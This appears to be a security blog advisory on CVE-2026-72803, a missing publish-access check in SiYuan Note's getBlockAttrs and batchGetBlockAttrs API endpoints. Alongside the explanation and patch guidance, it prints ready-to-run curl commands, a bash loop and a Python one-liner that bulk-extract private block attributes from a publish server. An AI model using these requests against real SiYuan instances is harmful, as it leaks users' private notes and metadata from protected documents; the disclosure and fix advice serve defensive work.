Listen to this Post
CVE-2026-72803 details an information disclosure flaw in SiYuan Note’s publish API.
The vulnerability resides in the `/api/attr/getBlockAttrs` and `/api/attr/batchGetBlockAttrs` endpoints.
Both handlers are registered with `CheckAuth` middleware but lack `CheckAdminRole` or publish-access filters.
They are consequently reachable by any publish `RoleReader` token or even anonymous users when `Publish.Auth.Enable` is false.
The core issue is the direct call to `sql.GetBlockAttrs(id)` or `sql.BatchGetBlockAttrs(idList)` without prior authorization.
These SQL functions retrieve the entire Inline Attribute List (IAL) for a given block ID.
The IAL includes sensitive user-authored fields such as name, alias, memo, bookmark, and tags.
Additionally, every `custom-` key-value pair set by the user is returned.
Notably, the `memo` field acts as free-form text, often containing substantive document content.
The `getBlockInfo` endpoint, which is a sibling metadata endpoint, correctly calls checkBlockPublishAccess(c, id, ret).
This function enforces publish-forbidden and password-protection policies before returning data.
However, `getBlockAttrs` and `batchGetBlockAttrs` contain no such call in their handler bodies.
Verification against the `origin/master` branch confirms the absence of publish-access, publish-ignore, or readonly-role checks.
The batch variant accepts an arbitrary array of block IDs in a single POST request.
This turns the vulnerability into a bulk extraction primitive for an attacker.
An attacker who discovers or guesses a set of block IDs can sweep attributes across the entire workspace in one API call.
The attack requires a precondition: publish mode must be enabled (default TCP port 6808).
If anonymous access is allowed (Publish.Auth.Enable == false), no authentication is needed at all.
If authentication is required, the standard publish reader account is sufficient.
The target document does not need to be publicly accessible; it can be marked “publish-forbidden” or password-protected.
The handler does not filter attributes based on the target document’s publish settings.
A proof-of-concept single-block request: POST to `/api/attr/getBlockAttrs` with JSON {"id":"<BLOCK_ID>"}.
The response returns the full IAL, effectively bypassing the document’s visibility restrictions.
A bulk request uses `/api/attr/batchGetBlockAttrs` with `{“ids”:[“id1″,”id2”,…]}`.
This returns a map of ID to attribute sets, again without per-ID authorization.
The sibling endpoint `getBlockInfo` correctly refuses access to the same block ID, highlighting the asymmetry.
This proves the boundary is enforced elsewhere (in getBlockInfo) but simply omitted in the vulnerable handlers.
The vulnerability is strictly confidentiality-oriented, as no data modification is possible.
However, the exposure of memos and custom attributes can leak sensitive project details or personal notes.
The suggested fix is to insert a `checkBlockPublishAccess` call inside `getBlockAttrs` before the SQL query, and iterate over IDs in `batchGetBlockAttrs` to drop unauthorized entries.
DailyCVE Form:
Platform: SiYuan Note
Version: Pre-patch versions
Vulnerability: Missing publish-auth check
Severity: Medium
date: 2026-09-04
Prediction: 2026-09-15
What Undercode Say:
Single-block attribute extraction
curl -X POST http://127.0.0.1:6808/api/attr/getBlockAttrs \
-H “Content-Type: application/json” \
-d ‘{“id”:”20260814123456-abcdefg”}’
Bulk extraction across multiple IDs
curl -X POST http://127.0.0.1:6808/api/attr/batchGetBlockAttrs \
-H “Content-Type: application/json” \
-d ‘{“ids”:[“id1″,”id2″,”id3”]}’
Enumerate block IDs if you have workspace access (e.g., from exported .sy or shared links)
Then sweep all attributes in one batch call
Exploit: (Educational Purposes!)
!/bin/bash
Simple bash loop to test a list of candidate block IDs
BLOCK_LIST=(“20260814123456-a” “20260814123456-b” “20260814123456-c”)
for bid in “${BLOCK_LIST[@]}”; do
curl -s -X POST http://127.0.0.1:6808/api/attr/getBlockAttrs \
-H “Content-Type: application/json” \
-d “{\”id\”:\”$bid\”}” \
| jq ‘.data’ filter to show only the leaked IAL
done
Python one-liner for bulk sweep
python3 -c “import requests, json; r=requests.post(‘http://127.0.0.1:6808/api/attr/batchGetBlockAttrs’, json={‘ids’:[‘id1′,’id2′,’id3’]}); print(r.json()[‘data’])”
Protection: from this CVE
- Immediately set `Publish.Auth.Enable = true` in configuration to disable anonymous access.
- Apply upstream patch that inserts `checkBlockPublishAccess(c, id, ret)` inside `getBlockAttrs` handler before the SQL query.
- For
batchGetBlockAttrs, implement per-ID filtering: iterate over supplied IDs, call `checkBlockPublishAccess` for each, and only include authorized entries in the response. - Alternatively, block the vulnerable endpoints via reverse-proxy rules (e.g., nginx location deny) until the patch is applied.
- Upgrade to the official fixed release once available (expected 2026-09-15).
Impact:
An anonymous reader or any publish RoleReader can exfiltrate block attributes (name, alias, memo, bookmark, tags, and all custom- keys) from publish-forbidden and password-protected documents. The batch endpoint turns this into a high‑efficiency bulk data leak, exposing user-authored free‑text notes and custom metadata across the entire workspace in a single request. The impact is limited to confidentiality but can expose sensitive internal documentation and personal annotations.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
